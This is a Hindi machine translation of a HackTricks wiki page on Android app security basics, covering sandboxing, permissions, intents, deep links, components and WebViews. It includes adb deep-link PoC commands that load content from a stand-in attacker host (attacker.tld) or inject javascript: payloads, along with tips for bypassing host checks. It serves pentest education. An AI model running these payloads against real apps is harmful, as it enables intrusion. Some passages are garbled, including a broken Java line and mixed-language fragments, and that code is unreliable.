Android एप्लिकेशन मूल बातें

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Android सुरक्षा मॉडल

दो परतें हैं:

  • वह OS, जो स्थापित एप्लिकेशन को एक-दूसरे से अलग रखता है।
  • और एप्लिकेशन स्वयं, जो डेवलपर्स को कुछ कार्यक्षमताएँ प्रकट करने और एप्लिकेशन क्षमताओं को कॉन्फ़िगर करने की अनुमति देता है।

UID Separation

प्रत्येक एप्लिकेशन को एक विशिष्ट User ID आवंटित किया जाता है। यह ऐप इंस्टॉल होने के दौरान किया जाता है ताकि ऐप केवल उन फाइलों के साथ इंटरैक्ट कर सके जिनके मालिक उसके User ID हैं या साझा फाइलें हों। इसलिए, केवल स्वयं ऐप, OS के कुछ घटक और root उपयोगकर्ता ही ऐप के डेटा तक पहुँच सकते हैं।

UID Sharing

दो ऐप्स को एक ही UID उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। यह जानकारी साझा करने के लिए उपयोगी हो सकता है, लेकिन यदि उनमें से एक समझौता हो जाता है तो दोनों एप्लिकेशन का डेटा समझौता हो जाएगा। इसलिए यह व्यवहार प्रोत्साहित नहीं किया जाता।
एक ही UID साझा करने के लिए, एप्लिकेशन को अपने manifests में समान android:sharedUserId मान परिभाषित करना होगा।

Sandboxing

Android Application Sandbox प्रत्येक एप्लिकेशन को एक अलग प्रोसेस के रूप में अलग User ID के तहत चलाने की अनुमति देता है। प्रत्येक प्रोसेस का अपना वर्चुअल मशीन होता है, इसलिए एक ऐप का कोड अन्य ऐप से अलगाव में चलता है।
Android 5.0(L) से SELinux लागू है। बुनियादी तौर पर, SELinux ने सभी प्रोसेस इंटरैक्शन को रोका और फिर उनके बीच केवल अपेक्षित इंटरैक्शन की अनुमति देने के लिए नीतियाँ बनाईं।

Permissions

जब आप किसी app को इंस्टॉल करते हैं और वह permissions मांगता है, तो ऐप उन permissions के लिए अनुरोध कर रहा होता है जो uses-permission तत्वों में AndroidManifest.xml फ़ाइल में कॉन्फ़िगर किए गए हैं। uses-permission तत्व में अनुरोधित permission का नाम name attribute के अंदर संकेतित होता है। इसमें maxSdkVersion attribute भी होता है जो निर्दिष्ट किए गए संस्करण से ऊपर के वर्ज़न पर permissions पूछना रोक देता है।
नोट करें कि android applications को शुरुआत में सभी permissions माँगने की आवश्यकता नहीं है, वे permissions को डायनेमिक रूप से भी माँग सकते हैं लेकिन सभी permissions को manifest में घोषित किया जाना चाहिए।

जब कोई ऐप कोई कार्यक्षमता एक्सपोज़ करता है तो वह उस पहुँच को केवल उन ऐप्स तक सीमित कर सकता है जिनके पास कोई निर्दिष्ट permission हो।
एक permission तत्व में तीन attributes होते हैं:

  • permission का name
  • permission-group attribute, जो संबंधित permissions को समूहित करने की अनुमति देता है।
  • protection-level जो यह दर्शाता है कि permissions कैसे प्रदान की जाती हैं। इसके चार प्रकार हैं:
  • Normal: तब उपयोग किया जाता है जब एप्लिकेशन के लिए कोई ज्ञात खतरे नहीं होते। उपयोगकर्ता को इसे स्वीकृत करने की आवश्यकता नहीं होती।
  • Dangerous: संकेत करता है कि permission अनुरोध करने वाले एप्लिकेशन को कुछ उच्च स्तर की पहुँच मिलती है। उपयोगकर्ताओं से इन्हें स्वीकृत करने के लिए कहा जाता है।
  • Signature: केवल उसी प्रमाणपत्र से साइन किए गए apps जिनके साथ कॉम्पोनेंट एक्सपोर्ट कर रहा है उन्हें permission दी जा सकती है। यह सबसे मजबूत प्रकार की सुरक्षा है।
  • SignatureOrSystem: केवल उसी प्रमाणपत्र से साइन किए गए apps या system-level access पर चल रहे apps को permissions दी जा सकती हैं।

Pre-Installed Applications

ये ऐप्स सामान्यत: /system/app या /system/priv-app डायरेक्टरीज़ में पाए जाते हैं और इनमें से कुछ optimised होते हैं (आपको classes.dex फाइल भी न मिले)। इन एप्लिकेशनों की जाँच करने लायक होती है क्योंकि कभी-कभी ये बहुत अधिक permissions के साथ चल रहे होते हैं (जैसे root के रूप में)।

  • जो AOSP (Android OpenSource Project) ROM के साथ भेजे जाते हैं
  • डिवाइस निर्माता द्वारा जोड़े गए
  • सेल फोन प्रोवाइडर द्वारा जोड़े गए (यदि उनसे खरीदा गया हो)

Rooting

किसी भौतिक android डिवाइस में root access प्राप्त करने के लिए सामान्यतः आपको 1 या 2 vulnerabilities को exploit करना पड़ता है जो आम तौर पर उस डिवाइस और वर्ज़न के लिए विशिष्ट होती हैं।
एक बार exploit सफल होने पर, आमतौर पर Linux su binary को PATH में निर्दिष्ट स्थान जैसे /system/xbin में कॉपी किया जाता है।

एक बार su binary कॉन्फ़िगर हो जाने के बाद, एक अन्य Android app su binary के साथ इंटरफेस करने और root access के अनुरोधों को प्रोसेस करने के लिए उपयोग किया जाता है, जैसे Superuser और SuperSU (Google Play स्टोर में उपलब्ध)।

Caution

ध्यान दें कि rooting प्रक्रिया बहुत खतरनाक है और इससे डिवाइस को गंभीर रूप से नुकसान पहुँच सकता है

ROMs

OS को बदलकर custom firmware इंस्टॉल करना संभव है। ऐसा करने से पुराने डिवाइस की उपयोगिता बढ़ाई जा सकती है, सॉफ़्टवेयर प्रतिबंधों को बाइपास किया जा सकता है या नवीनतम Android कोड तक पहुँच प्राप्त की जा सकती है।
OmniROM और LineageOS दो सबसे लोकप्रिय फर्मवेयर हैं।

ध्यान दें कि कस्टम फर्मवेयर इंस्टॉल करने के लिए हमेशा डिवाइस को root करने की आवश्यकता नहीं होती। कुछ निर्माता अपने bootloaders को एक अच्छी तरह दस्तावेजीकृत और सुरक्षित तरीके से अनलॉक करने की अनुमति देते हैं।

Implications

एक बार डिवाइस root हो जाने पर, कोई भी app root के रूप में पहुँच का अनुरोध कर सकता है। यदि कोई malicious application इसे प्राप्त कर लेती है, तो इसे लगभग सब कुछ एक्सेस करने की क्षमता मिल जाएगी और यह फोन को नुकसान पहुँचा सकती है।

Android Application Fundamentals

  • Android applications का फ़ॉर्मेट APK file format कहा जाता है। यह मूलतः एक ZIP file है (फ़ाइल एक्सटेंशन को .zip में बदलकर, सामग्री को extract करके देखा जा सकता है)।
  • APK Contents (सम्पूर्ण सूची नहीं)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: इसमें precompiled resources होते हैं, जैसे binary XML।
  • res/xml/files_paths.xml
  • META-INF/
  • यहाँ प्रमाणपत्र स्थित होता है!
  • classes.dex
  • Dalvik bytecode को रखता है, जो कि कम्पाइल्ड Java (या Kotlin) कोड का DEX प्रतिनिधित्व है जिसे एप्लिकेशन ने डिफ़ॉल्ट रूप से निष्पादित किया जाता है।
  • lib/
  • नेटिव लाइब्रेरीज़ रखता है, CPU architecture के अनुसार उप-डायरेक्टरीज़ में विभाजित।
  • armeabi: ARM आधारित प्रोसेसर के लिए कोड
  • armeabi-v7a: ARMv7 और उससे ऊपर के प्रोसेसर्स के लिए कोड
  • x86: X86 प्रोसेसर्स के लिए कोड
  • mips: केवल MIPS प्रोसेसर्स के लिए कोड
  • assets/
  • ऐप द्वारा आवश्यक विविध फाइलें संग्रहित करता है, संभवतः अतिरिक्त native libraries या DEX फाइलें शामिल हो सकती हैं, जिन्हें कभी-कभी मैलवेयर लेखक अतिरिक्त कोड छुपाने के लिए उपयोग करते हैं।
  • res/
  • उन resources को रखता है जो resources.arsc में compile नहीं हुए होते

Dalvik & Smali

Android विकास में, ऐप बनाने के लिए Java या Kotlin का उपयोग किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, Android इस कोड को Dalvik Executable (DEX) bytecode में compile करता है। पहले, Dalvik virtual machine इस bytecode को संभालती थी, लेकिन अब नए Android वर्ज़न्स में Android Runtime (ART) इसका कार्य संभालता है।

Reverse engineering के लिए, Smali महत्वपूर्ण हो जाता है। यह DEX bytecode का human-readable रूप है, जो assembly भाषा की तरह कार्य करता है और source को bytecode निर्देशों में अनुवादित करता है। Smali और baksmali इस संदर्भ में assembly और disassembly टूल्स को संदर्भित करते हैं।

Intents

Intents Android ऐप्स के घटकों के बीच या अन्य ऐप्स के साथ संवाद करने का प्राथमिक माध्यम हैं। ये message objects ऐप्स या घटकों के बीच डेटा भी ले जा सकते हैं, जैसे कि HTTP संचार में GET/POST अनुरोधों का उपयोग होता है।

तो एक Intent बुनियादी रूप में एक संदेश है जो घटकों के बीच पारित होता है। Intents विशिष्ट घटकों या ऐप्स को निर्देशित की जा सकती हैं, या बिना किसी विशिष्ट प्राप्तकर्ता के भेजी जा सकती हैं।
सरल शब्दों में Intent का उपयोग किया जा सकता है:

  • किसी Activity को शुरू करने के लिए, आमतौर पर किसी ऐप के लिए user interface खोलने के लिए
  • सिस्टम और ऐप्स को परिवर्तनों के बारे में सूचित करने के लिए broadcasts के रूप में
  • बैकग्राउंड सेवा को शुरू, रोकने और उसके साथ संवाद करने के लिए
  • ContentProviders के माध्यम से डेटा तक पहुँचने के लिए
  • घटनाओं को संभालने के लिए callbacks के रूप में

यदि कमजोर हों, तो Intents का उपयोग विभिन्न प्रकार के हमलों को करने के लिए किया जा सकता है।

Intent-Filter

Intent Filters यह परिभाषित करते हैं कि किस प्रकार एक activity, service, या Broadcast Receiver विभिन्न प्रकार के Intents के साथ इंटरैक्ट कर सकता है। मूल रूप से, वे इन घटकों की क्षमताओं का वर्णन करते हैं, जैसे कि वे कौन से actions कर सकते हैं या किस प्रकार के broadcasts को प्रोसेस कर सकते हैं। इन फ़िल्टरों को घोषित करने का प्रमुख स्थान AndroidManifest.xml file है, हालांकि Broadcast Receivers के लिए इन्हें कोड में भी बनाया जा सकता है।

Intent Filters श्रेणियों, क्रियाओं, और डेटा फ़िल्टरों से बने होते हैं, और अतिरिक्त metadata शामिल करने की संभावना होती है। यह सेटअप उन Intents को संभालने की अनुमति देता है जो घोषित मापदण्डों से मेल खाते हैं।

Android घटकों (activities/services/content providers/broadcast receivers) का एक महत्वपूर्ण पहलू उनकी दृश्यता या public स्थिति है। कोई घटक public माना जाता है और अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि उसे exported में true के साथ सेट किया गया हो या यदि उसके लिए manifest में Intent Filter घोषित किया गया हो। हालांकि, डेवलपर्स इन घटकों को स्पष्ट रूप से निजी रखने का विकल्प रखते हैं, ताकि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके manifest पर exported attribute को false पर सेट करके प्राप्त किया जा सकता है।

इसके अलावा, डेवलपर्स के पास इन घटकों की पहुँच को और अधिक सुरक्षित करने का विकल्प होता है द्वारा विशिष्ट permissions की आवश्यकता करके। permission attribute सेट किया जा सकता है ताकि केवल उस निर्दिष्ट permission वाले ऐप्स ही घटक तक पहुँच सकें, जिससे यह नियंत्रित किया जा सके कि कौन इसके साथ इंटरैक्ट कर सकता है।

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

अप्रत्यक्ष Intents

Intents प्रोग्रामेटिक रूप से एक Intent constructor का उपयोग करके बनाए जाते हैं:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

पहले घोषित intent का Action ACTION_SEND है और Extra एक mailto Uri है (Extra वह अतिरिक्त जानकारी है जिसे intent अपेक्षित कर रहा है)।

इस intent को manifest के अंदर घोषित किया जाना चाहिए, जैसा कि निम्नलिखित उदाहरण में है:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

An intent-filter needs to match the action, data and category to receive a message.

The “Intent resolution” process determine which app should receive each message. This process considers the priority attribute, which can be set in the intent-filter declaration, and the one with the higher priority will be selected. This priority can be set between -1000 and 1000 and applications can use the SYSTEM_HIGH_PRIORITY value. If a conflict arises, a “choser” Window appears so the user can decide.

Explicit Intents

An explicit intent specifies the class name it’s targeting:

Intent downloadIntent = new (this, DownloadService.class):

अन्य अनुप्रयोगों में पूर्व में घोषित intent तक पहुँचने के लिए आप निम्नलिखित का उपयोग कर सकते हैं:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intents

These allow other applications to take actions on behalf of your application, using your app’s identity and permissions. Constructing a Pending Intent it should be specified an intent and the action to perform. If the declared intent isn’t Explicit (doesn’t declare which intent can call it) a malicious application could perform the declared action on behalf of the victim app. Moreover, if an action isn’t specified, the malicious app will be able to do any action on behalf the victim.

ये अन्य एप्लिकेशन्स को आपकी ऐप की पहचान और अनुमतियों का उपयोग करके आपकी ऐप की ओर से कार्रवाई करने की अनुमति देते हैं। एक Pending Intent बनाते समय, यह आवश्यक है कि एक intent और निष्पादित करने वाली क्रिया निर्दिष्ट की जाए। यदि घोषित intent Explicit नहीं है (यह नहीं बताता कि कौन सा intent इसे कॉल कर सकता है), तो एक दुष्ट एप्लिकेशन पीड़ित ऐप की ओर से घोषित क्रिया कर सकता है। इसके अलावा, यदि कोई क्रिया निर्दिष्ट नहीं की गई है, तो दुष्ट ऐप पीड़ित की ओर से कोई भी क्रिया कर सकेगा।

Broadcast Intents

Unlike the previous intents, which are only received by one app, broadcast intents can be received by multiple apps. However, from API version 14, it’s possible to specify the app that should receive the message using Intent.set Package.

Alternatively it’s also possible to specify a permission when sending the broadcast. The receiver app will need to have that permission.

There are two types of Broadcasts: Normal (asynchronous) and Ordered (synchronous). The order is base on the configured priority within the receiver element. Each app can process, relay or drop the Broadcast.

It’s possible to send a broadcast using the function sendBroadcast(intent, receiverPermission) from the Context class.
You could also use the function sendBroadcast from the LocalBroadCastManager ensures the message never leaves the app. Using this you won’t even need to export a receiver component.

पिछले intents के विपरीत, जो केवल एक ऐप द्वारा प्राप्त होते थे, broadcast intents कई ऐप्स द्वारा प्राप्त किए जा सकते हैं। हालाँकि, API version 14 से, Intent.set Package का उपयोग करके यह निर्धारित करना संभव है कि कौन सा ऐप संदेश प्राप्त करे।

वैकल्पिक रूप से, broadcast भेजते समय एक permission निर्दिष्ट करना भी संभव है। रिसीवर ऐप के पास वह permission होना आवश्यक होगा।

Broadcasts के दो प्रकार होते हैं: Normal (asynchronous) और Ordered (synchronous)। क्रम रिसीवर तत्व के अंदर कॉन्फ़िगर की गई प्राथमिकता पर आधारित होता है। प्रत्येक ऐप Broadcast को प्रोसेस, relay या drop कर सकता है।

Context क्लास के फ़ंक्शन sendBroadcast(intent, receiverPermission) का उपयोग करके एक broadcast भेजा जा सकता है।
आप LocalBroadCastManager की sendBroadcast फ़ंक्शन भी उपयोग कर सकते हैं, जो सुनिश्चित करती है कि message कभी ऐप से बाहर न जाए। इसका उपयोग करने पर आपको receiver component को export करने की भी आवश्यकता नहीं होगी।

Sticky Broadcasts

This kind of Broadcasts can be accessed long after they were sent.
These were deprecated in API level 21 and it’s recommended to not use them.
They allow any application to sniff the data, but also to modify it.

If you find functions containing the word “sticky” like sendStickyBroadcast or sendStickyBroadcastAsUser, check the impact and try to remove them.

इस प्रकार के Broadcasts भेजे जाने के काफी समय बाद भी एक्सेस किए जा सकते हैं।
यहाँ ये API level 21 में deprecated कर दिए गए थे और इन्हें उपयोग न करने की सलाह दी जाती है।
ये किसी भी एप्लिकेशन को डेटा sniff करने की अनुमति देते हैं, साथ ही इसे मॉडिफाई भी कर सकते हैं।

यदि आप ऐसे फ़ंक्शन पाते हैं जिनमें “sticky” शब्द है जैसे sendStickyBroadcast या sendStickyBroadcastAsUser, तो प्रभाव की जांच करें और इन्हें हटाने का प्रयास करें।

Deep links / URL schemes

In Android applications, deep links are used to initiate an action (Intent) directly through a URL. This is done by declaring a specific URL scheme within an activity. When an Android device tries to access a URL with this scheme, the specified activity within the application is launched.

The scheme must be declarated in the AndroidManifest.xml file:

Android applications में, deep links का उपयोग URL के माध्यम से सीधे एक action (Intent) शुरू करने के लिए किया जाता है। यह किसी activity के भीतर एक विशिष्ट URL scheme घोषित करके किया जाता है। जब कोई Android डिवाइस इस scheme वाले URL तक access करने की कोशिश करता है, तो एप्लिकेशन के भीतर निर्दिष्ट activity लॉन्च हो जाती है।

इस scheme को AndroidManifest.xml फ़ाइल में घोषित किया जाना चाहिए:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

पिछले उदाहरण की स्कीम examplescheme:// है (ध्यान दें: साथ ही category BROWSABLE)

फिर, data फ़ील्ड में, आप host और path निर्दिष्ट कर सकते हैं:

<data android:scheme="examplescheme"
android:host="example"
/>

वेब से इसे एक्सेस करने के लिए, ऐसे link सेट करना संभव है:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

In order to find the code that will be executed in the App, go to the activity called by the deeplink and search the function onNewIntent.

जानें कि call deep links without using HTML pages.

Deep link सुरक्षा परीक्षण & adb PoCs

  • Entry point discovery: exported Activities जो declare करती हैं <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> वे crafted URIs (custom schemes या http/https App Links) के जरिए remotely reachable होती हैं। उन paths को प्राथमिकता दें जिनमें login/reset/payment/wallet/admin keywords शामिल हों।
  • Validation bypass heuristics: कमजोर host checks जैसे endsWith(), contains(), permissive regexes, या substring allowlists आमतौर पर attacker-controlled subdomains, prefix/suffix tricks, और URL/UTF‑8 double-encoding से bypass किए जा सकते हैं।
  • WebView sinks: अगर handler incoming URI या query params को WebView.loadUrl(...) को forward करता है, तो आप app को बाध्य कर सकते हैं arbitrary attacker content render करने के लिए। अगर scheme validation कमजोर है, तो javascript: payloads और external https:// URLs भी आज़माएँ।
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • ऑपरेशनल टिप्स: कई payload वेरिएंट कैप्चर करें (external URL बनाम javascript:) और उन्हें device/emulator पर जल्दी से replay करें ताकि वास्तविक समस्याओं (open-redirect/auth-bypass/WebView URL injection) को static-analysis noise से अलग किया जा सके।
  • ऑटोमेशन: Deep-C deeplink hunting को ऑटोमेट करता है APK को decompile करके (apktool + dex2jar + jadx), exported + browsable activities की enumeration करके, weak validation और WebView.loadUrl flows को correlate करके, और ready-to-run adb PoCs उत्पन्न करके (वैकल्पिक रूप से --exec के साथ auto-executed)।

AIDL - Android Interface Definition Language

The Android Interface Definition Language (AIDL) का उद्देश्य Android applications में client और service के बीच interprocess communication (IPC) के माध्यम से संवाद को सुविधाजनक बनाना है। चूँकि Android पर किसी दूसरे process की memory तक सीधे पहुँच की अनुमति नहीं है, AIDL objects को operating system द्वारा समझे जाने वाले फॉर्मेट में marshal करके इस प्रक्रिया को सरल बनाता है, जिससे अलग-अलग processes के बीच संवाद आसान हो जाता है।

Key Concepts

  • Bound Services: ये services AIDL का उपयोग IPC के लिए करती हैं, जिससे activities या components किसी service से bind कर सकते हैं, requests कर सकते हैं, और responses प्राप्त कर सकते हैं। service की class में onBind method interaction शुरू करने के लिए महत्वपूर्ण है, इसलिए यह vulnerabilities की खोज के लिए security review का एक महत्वपूर्ण क्षेत्र माना जाता है।

  • Messenger: bound service के रूप में काम करते हुए, Messenger IPC की सुविधा देता है और डेटा को process करने पर onBind method पर ध्यान केंद्रित करता है। किसी भी unsafe data handling या sensitive functions के execution के लिए इस method का ध्यान से निरीक्षण करना आवश्यक है।

  • Binder: यद्यपि AIDL की abstraction के कारण Binder class का सीधे उपयोग कम सामान्य है, यह समझना उपयोगी है कि Binder एक kernel-level driver की तरह कार्य करता है जो अलग-अलग processes की memory spaces के बीच data transfer की सुविधा प्रदान करता है। और अधिक समझ के लिए एक resource उपलब्ध है: https://www.youtube.com/watch?v=O-UHvFjxwZ8.

Components

इनमें शामिल हैं: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity and other activities

Android apps में, activities स्क्रीन की तरह होते हैं, जो ऐप के user interface के विभिन्न हिस्से दिखाते हैं। एक ऐप में कई activities हो सकते हैं, प्रत्येक उपयोगकर्ता को एक अनूठी स्क्रीन प्रदान करता है।

The launcher activity किसी ऐप का मुख्य gateway होता है, जो तब लॉन्च होता है जब आप ऐप के आइकन पर टैप करते हैं। यह app के manifest file में specific MAIN और LAUNCHER intents के साथ परिभाषित होता है:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

हर ऐप को launcher activity की आवश्यकता नहीं होती, खासकर उन ऐप्स के लिए जिनका user interface नहीं होता, जैसे background services।

Activities को manifest में उन्हें “exported” के रूप में मार्क करके अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है। यह सेटिंग अन्य ऐप्स को इस activity को शुरू करने की अनुमति देती है:

<service android:name=".ExampleExportedService" android:exported="true"/>

हालाँकि, किसी दूसरे app से किसी activity तक पहुँच हमेशा एक security risk नहीं होता। चिंता तब возникает जब संवेदनशील डेटा गलत तरीके से साझा किया जा रहा हो, जिससे जानकारी leaks हो सकती है।

एक activity का lifecycle begins with the onCreate method, जो UI सेटअप करता है और activity को user के साथ interaction के लिए तैयार करता है।

Application सबक्लास

Android विकास में, एक app के पास Application class की एक subclass बनाने का विकल्प होता है, हालांकि यह अनिवार्य नहीं है। जब ऐसी सबक्लास परिभाषित की जाती है, तो यह ऐप के भीतर instantiate होने वाली पहली class बन जाती है। यदि इस सबक्लास में attachBaseContext method लागू की जाती है, तो वह onCreate method से पहले निष्पादित होती है। यह सेटअप बाकी application शुरू होने से पहले शीघ्र initialization की अनुमति देता है।

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Services

Services हैं पृष्ठभूमि में चलने वाले घटक जो बिना किसी user interface के कार्य निष्पादित करने में सक्षम होते हैं। ये कार्य तब भी चलते रह सकते हैं जब उपयोगकर्ता अलग एप्लिकेशन पर स्विच कर लेते हैं, जिससे services लंबे समय तक चलने वाले ऑपरेशन के लिए महत्वपूर्ण बनते हैं।

Services बहुमुखी होते हैं; इन्हें विभिन्न तरीकों से प्रारंभ किया जा सकता है, और एक एप्लिकेशन के प्रवेश बिंदु के रूप में इन्हें लॉन्च करने का प्राथमिक तरीका Intents हैं। एक बार जब कोई service startService method का उपयोग करके शुरू हो जाता है, तो इसका onStart method सक्रिय हो जाता है और तब तक चलता रहता है जब तक कि stopService method स्पष्ट रूप से कॉल न किया जाए। वैकल्पिक रूप से, यदि किसी service की भूमिका सक्रिय client connection पर निर्भर हो, तो client को service से बाँधने के लिए bindService method का उपयोग किया जाता है, जो डेटा पास करने के लिए onBind method को प्रयुक्त करता है।

Services का एक रोचक उपयोग पृष्ठभूमि में संगीत चलाना या नेटवर्क डेटा प्राप्त करना है, बिना उपयोगकर्ता के ऐप के साथ इंटरैक्शन में बाधा डाले। इसके अलावा, services को उसी डिवाइस पर अन्य प्रक्रियाओं के लिए exporting के माध्यम से उपलब्ध कराया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest file में स्पष्ट कॉन्फ़िगरेशन आवश्यक है:

<service android:name=".ExampleExportedService" android:exported="true"/>

ब्रॉडकास्ट रिसीवर्स

Broadcast receivers एक messaging सिस्टम में listeners की तरह काम करते हैं, जो सिस्टम से आने वाले एक ही संदेश पर कई एप्लिकेशन को प्रतिक्रिया देने की अनुमति देते हैं। एक ऐप register a receiver कर सकता है दो मुख्य तरीकों से: ऐप के Manifest के माध्यम से या ऐप के कोड में dynamically registerReceiver API के जरिए। Manifest में broadcasts permissions के साथ फ़िल्टर किए जाते हैं, जबकि dynamically रजिस्टर किए गए रिसीवर रजिस्ट्रेशन के समय permissions भी निर्दिष्ट कर सकते हैं।

Intent filters दोनों रजिस्ट्रेशन विधियों में महत्वपूर्ण होते हैं और यह निर्धारित करते हैं कि कौन से broadcasts रिसीवर को ट्रिगर करेंगे। एक मेल खाने वाला broadcast भेजे जाने पर, रिसीवर का onReceive method कॉल किया जाता है, जिससे ऐप आवश्यक कार्रवाई कर सकता है — उदाहरण के लिए low battery alert पर व्यवहार समायोजित करना।

Broadcasts या तो asynchronous हो सकते हैं, जो बिना किसी क्रम के सभी रिसीवर्स तक पहुँचते हैं, या synchronous हो सकते हैं, जहाँ रिसीवर्स को निर्धारित प्राथमिकताओं के आधार पर broadcast मिलता है। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि सुरक्षा जोखिम भी मौजूद है, क्योंकि कोई भी ऐप खुद को उच्च प्राथमिकता दे कर एक broadcast को इंटरसेप्ट कर सकता है।

किसी रिसीवर की कार्यक्षमता समझने के लिए उसकी क्लास में onReceive method खोजें। इस मेथड का कोड प्राप्त Intent को बदल सकता है, इसलिए रिसीवर्स द्वारा डेटा validation आवश्यक है, विशेषकर Ordered Broadcasts में, जहाँ Intent को संशोधित या ड्रॉप किया जा सकता है।

कंटेंट प्रोवाइडर

Content Providers apps के बीच structured data साझा करने के लिए आवश्यक होते हैं, और डेटा सुरक्षा सुनिश्चित करने के लिए permissions लागू करना महत्वपूर्ण है। वे डेटाबेस, फ़ाइल सिस्टम, या वेब जैसी विविध स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं। विशिष्ट permissions, जैसे कि readPermission और writePermission, एक्सेस नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अलावा, अस्थायी एक्सेस को ऐप के manifest में grantUriPermission सेटिंग्स के माध्यम से दिया जा सकता है, जिसमें विस्तृत एक्सेस नियंत्रण के लिए path, pathPrefix, और pathPattern जैसे attributes का उपयोग होता है।

इनपुट validation बहुत महत्वपूर्ण है ताकि SQL injection जैसे कमजोरियों से बचा जा सके। Content Providers बुनियादी ऑपरेशनों का समर्थन करते हैं: insert(), update(), delete(), और query(), जो एप्लिकेशन के बीच डेटा मैनिपुलेशन और शेयरिंग की सुविधा प्रदान करते हैं।

Permission semantics and pitfalls (Content Providers)

  • यदि कोई provider exported है, तो आपको स्पष्ट रूप से दोनों readPermission और writePermission घोषित करने चाहिए। जब writePermission छोड़ा जाता है तो डिफ़ॉल्ट null होता है, जिसका अर्थ है कि कोई भी ऐप provider द्वारा implement किए गए मामलों में insert/update/delete आज़मा सकता है।
  • कभी भी अनट्रस्टेड projection, selection, selectionArgs, या sortOrder को raw SQL में concatenate मत करें। whitelists और parameter binding (जैसे SQLiteQueryBuilder के साथ projection map) और fixed WHERE templates का उपयोग करें।
  • जब तक provider को सार्वजनिक होना आवश्यक न हो, तब तक android:exported="false" पसंद करें। selective sharing के लिए path/pathPrefix/pathPattern के साथ grantUriPermissions का उपयोग करें।

FileProvider, एक विशेष Content Provider, फाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के manifest में folders को नियंत्रित करने वाले specific attributes के साथ परिभाषित किया जाता है, जैसे android:exported और android:resource जो folder configurations की ओर इशारा करते हैं। डायरेक्टरी साझा करते समय सावधानी बरतें ताकि संवेदी डेटा अनजाने में एक्सपोज़ न हो जाए।

Example manifest declaration for FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

और filepaths.xml में साझा फ़ोल्डरों को निर्दिष्ट करने का एक उदाहरण:

<paths>
<files-path path="images/" name="myimages" />
</paths>

For further information check:

WebViews

WebViews Android apps के भीतर के मिनी वेब ब्राउज़र की तरह होते हैं, जो कंटेन्ट वेब से या लोकल फाइलों से लाते हैं। ये सामान्य ब्राउज़रों के समान जोखिम झेलते हैं, लेकिन कुछ विशिष्ट settings के ज़रिये इन जोखिमों को कम किया जा सकता है।

Android दो मुख्य प्रकार के WebView प्रदान करता है:

  • WebViewClient बेसिक HTML के लिए अच्छा है पर यह JavaScript alert फ़ंक्शन को सपोर्ट नहीं करता, जिससे XSS attacks का परीक्षण प्रभावित हो सकता है।
  • WebChromeClient अधिकतर पूर्ण Chrome ब्राउज़र अनुभव जैसा व्यवहार करता है।

एक महत्वपूर्ण बात यह है कि WebView ब्राउज़र डिवाइस के मुख्य ब्राउज़र के साथ cookies साझा नहीं करते।

कंटेन्ट लोड करने के लिए loadUrl, loadData, और loadDataWithBaseURL जैसे methods उपलब्ध हैं। यह सुनिश्चित करना ज़रूरी है कि ये URLs या फाइलें उपयोग के लिए सुरक्षित हों। Security settings को WebSettings क्लास के माध्यम से मैनेज किया जा सकता है। उदाहरण के लिए, JavaScript को setJavaScriptEnabled(false) से डिसेबल करना XSS attacks को रोक सकता है।

JavaScript “Bridge” Java ऑब्जेक्ट्स को JavaScript के साथ इंटरैक्ट करने देता है, और Android 4.2 के बाद सुरक्षा के लिए methods को @JavascriptInterface से मार्क करना आवश्यक है।

content access की अनुमति (setAllowContentAccess(true)) WebViews को Content Providers तक पहुँचने देती है, जो तब जोखिम हो सकता है जब तक कि content URLs को सुरक्षित के रूप में वेरिफाई न किया गया हो।

फाइल एक्सेस को नियंत्रित करने के लिए:

